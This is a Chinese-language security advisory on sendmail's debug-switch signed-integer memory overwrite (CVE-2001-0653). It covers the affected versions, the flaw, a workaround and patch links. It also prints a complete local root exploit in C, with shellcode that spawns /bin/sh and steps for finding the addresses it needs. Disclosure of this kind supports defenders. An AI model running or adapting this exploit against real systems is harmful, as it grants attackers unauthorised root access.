首页 -> 安全研究

安全研究

安全漏洞
sendmail debug开关符号整数内存重写漏洞

发布日期:2001-08-21
更新日期:2001-08-24

受影响系统:

  Sendmail Consortium Sendmail 8.12beta16
  Sendmail Consortium Sendmail 8.12beta12
  Sendmail Consortium Sendmail 8.12beta10
  Sendmail Consortium Sendmail 8.12beta7
  Sendmail Consortium Sendmail 8.12beta5
  Sendmail Consortium Sendmail 8.11.5
  Sendmail Consortium Sendmail 8.11.4
  Sendmail Consortium Sendmail 8.11.3
  Sendmail Consortium Sendmail 8.11.2
  Sendmail Consortium Sendmail 8.11.1
  Sendmail Consortium Sendmail 8.11
不受影响系统:

  Sendmail Consortium Sendmail 8.10
  Sendmail Consortium Sendmail 8.12
  Sendmail Consortium Sendmail 8.12beta19
描述:

BUGTRAQ ID:   3163
CVE CAN ID :  CAN-2001-0653

sendmail存在一个缓冲区溢出漏洞,可能允许本地攻击者获取root权限。

问题处在sendmail的debug功能中。此功能用到了一个函数tTflag(),这个函数接受通过
"-d"开关传来的命令行输入,并将一个数值写到内部的缓冲区中。参数的一部分中包含
要进行debug的部分,这是一个整数。在tTflag()函数中,将这个整数赋值给了一个有符
号的整型变量first。如果发现first的数值小于内部缓冲区的最大长度,函数会将一个
数值写到缓冲区中,例如:

tTvect[first++] = i;

然而,由于first是有符号的整型变量,如果攻击者输入一个很大的数值,就可能被转换
成负数,这使得前面的检查被绕过了,攻击者可以将任意一个字节写到内存中的某些范围
中。

如果攻击者可以设法重写某些重要内存区域,例如保存函数返回地址的内存区域,他
就可能改变程序执行流程,从而执行任意代码。由于这时sendmail还没有丢弃root权限,
因此本地攻击者可以获取root权限。


<*来源:Cade Cairns  (cairnsc@securityfocus.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


$ sendmail -d12345678901
Bus Error

Alexander Yurchenko <grange@rt.mipt.ru>提供了下列测试代码:

/*
* alsou.c
*
* sendmail-8.11.x linux x86 exploit
*
* To use this exploit you should know two numbers: VECT and GOT.
* Use gdb to find the first:
*
* $ gdb -q /usr/sbin/sendmail
* (gdb) break tTflag
* Breakpoint 1 at 0x8080629
* (gdb) r -d1-1.1
* Starting program: /usr/sbin/sendmail -d1-1.1
*
* Breakpoint 1, 0x8080629 in tTflag ()
* (gdb) disassemble tTflag
* .............
* 0x80806ea <tTflag+202>: dec    %edi
* 0x80806eb <tTflag+203>: mov    %edi,0xfffffff8(%ebp)
* 0x80806ee <tTflag+206>: jmp    0x80806f9 <tTflag+217>
* 0x80806f0 <tTflag+208>: mov    0x80b21f4,%eax
*                               ^^^^^^^^^^^^^^^^^^ address of VECT
* 0x80806f5 <tTflag+213>: mov    %bl,(%esi,%eax,1)
* 0x80806f8 <tTflag+216>: inc    %esi
* 0x80806f9 <tTflag+217>: cmp    0xfffffff8(%ebp),%esi
* 0x80806fc <tTflag+220>: jle    0x80806f0 <tTflag+208>
* .............
* (gdb) x/x 0x80b21f4
* 0x80b21f4 <tTvect>:     0x080b9ae0
*                        ^^^^^^^^^^^^^ VECT
*
* Use objdump to find the second:
* $ objdump -R /usr/sbin/sendmail |grep setuid
* 0809e07c R_386_JUMP_SLOT   setuid
* ^^^^^^^^^ GOT
*
* Probably you should play with OFFSET to make exploit work.
*
* Constant values, written in this code found for sendmail-8.11.4
* on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and
* GOT = 0x0809e07c.
*
* To get r00t type ./alsou and then press Ctrl+C.
*
*
* grange <grange@rt.mipt.ru>
*
*/

#include <sys/types.h>
#include <stdlib.h>

#define OFFSET 1000
#define VECT 0x080baf20
#define GOT 0x0809f544

#define NOPNUM 1024

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
    "\xc0\x88\x43\x07\x89\x5b\x08\x89"
    "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
    "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
    "/bin/sh";

unsigned int get_esp()
{
    __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
    char *egg, s[256], tmp[256], *av[3], *ev[2];
    unsigned int got = GOT, vect = VECT, ret, first, last, i;

    egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
    if (egg == NULL) {
        perror("malloc()");
        exit(-1);
    }
    sprintf(egg, "EGG=");
    memset(egg + 4, 0x90, NOPNUM);
    sprintf(egg + 4 + NOPNUM, "%s", shellcode);
    
    ret = get_esp() + OFFSET;

    sprintf(s, "-d");
    first = -vect - (0xffffffff - got + 1);
    last = first;
    while (ret) {
        i = ret & 0xff;
        sprintf(tmp, "%u-%u.%u-", first, last, i);
        strcat(s, tmp);
        last = ++first;
        ret = ret >> 8;
    }
    s[strlen(s) - 1] = '\0';

    av[0] = "/usr/sbin/sendmail";
    av[1] = s;
    av[2] = NULL;
    ev[0] = egg;
    ev[1] = NULL;
    execve(*av, av, ev);
}



建议:

临时解决方法:

暂时去掉sendmail的suid root属性。

厂商补丁:

使用sendmail 11.x的用户应该升级到8.11.6:
ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.tar.gz

使用sendmail 12.0beta版的的用户应该升级到8.12.0beta19:
ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.0.Beta19.tar.gz



浏览次数:4154
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障